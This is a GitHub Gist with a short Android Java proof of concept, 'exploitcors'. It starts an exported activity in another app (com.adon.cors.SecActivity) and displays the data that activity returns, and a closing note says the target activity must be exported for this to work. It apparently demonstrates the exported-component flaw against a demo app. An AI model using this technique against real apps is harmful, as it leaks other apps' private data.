Created
September 6, 2020 13:30
-
-
Save adon90/a51af665ceae7727ebb1c39a64621dca to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package com.adon.exploitcors; | |
import androidx.appcompat.app.AppCompatActivity; | |
import android.content.Intent; | |
import android.os.Bundle; | |
import android.widget.Toast; | |
public class MainActivity extends AppCompatActivity { | |
int LAUNCH_SECOND_ACTIVITY = 1; | |
@Override | |
protected void onCreate(Bundle savedInstanceState) { | |
super.onCreate(savedInstanceState); | |
setContentView(R.layout.activity_main); | |
Intent myIntent = new Intent(); | |
myIntent.setClassName("com.adon.cors", "com.adon.cors.SecActivity"); | |
startActivityForResult(myIntent,LAUNCH_SECOND_ACTIVITY); | |
} | |
@Override | |
protected void onActivityResult(int requestCode, int resultCode, Intent data) { | |
super.onActivityResult(requestCode, resultCode, data); | |
if (requestCode == LAUNCH_SECOND_ACTIVITY) { | |
String result=data.getStringExtra("result"); | |
Toast.makeText(MainActivity.this,result, Toast.LENGTH_LONG).show(); | |
} | |
} | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Vulnerable Code:
The activity must be exported="true"